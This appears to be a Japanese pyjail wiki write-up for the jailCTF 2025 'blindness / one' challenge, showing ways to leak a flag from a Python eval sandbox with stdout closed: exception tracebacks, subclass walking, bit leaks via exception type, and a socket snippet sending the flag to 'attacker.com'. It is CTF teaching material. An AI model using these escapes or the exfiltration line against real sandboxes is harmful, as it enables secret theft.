pyjail wiki

jailCTF 2025 - blindness / one

Challenge

stdout が閉じられた状態での pyjail。

import sys
flag = open('/flag.txt').read()
sys.stdout.close()
code = input()
eval(code, {'__builtins__': {}})

Solution

stderr への出力

stdout は閉じられているが、stderr は開いている。例外を発生させると、トレースバックが stderr に出力される:

# 例外メッセージにフラグを含める
raise Exception(flag)

例外を使ったデータ漏洩

# builtins が空でも例外は発生可能
# KeyError のメッセージにフラグを含める
{}[flag] # KeyError: 'flag{...}'

サブクラスからの例外

# 例外クラスを見つけて使用
[c for c in ().__class__.__bases__[0].__subclasses__()
if c.__name__ == 'Exception'][0](flag)

Technical Details

stdout vs stderr

import sys
sys.stdout # fd 1, 通常の出力
sys.stderr # fd 2, エラー出力
# stdout を閉じても stderr は残る
sys.stdout.close()
print("hello", file=sys.stderr) # 出力される

例外からの情報漏洩

# 例外の種類でビットを漏洩
try:
if flag[i] == '1':
1/0 # ZeroDivisionError
else:
[][0] # IndexError
except ZeroDivisionError:
bit = 1
except IndexError:
bit = 0

fd の再オープン

# /dev/tty を使った出力
open('/dev/tty', 'w').write(flag)

Alternative Solutions

別解1: ファイル書き込み

open('/tmp/flag', 'w').write(flag)

別解2: ネットワーク経由

# socket で外部に送信
import socket
s = socket.socket()
s.connect(('attacker.com', 1234))
s.send(flag.encode())

Flag

jail{...}

References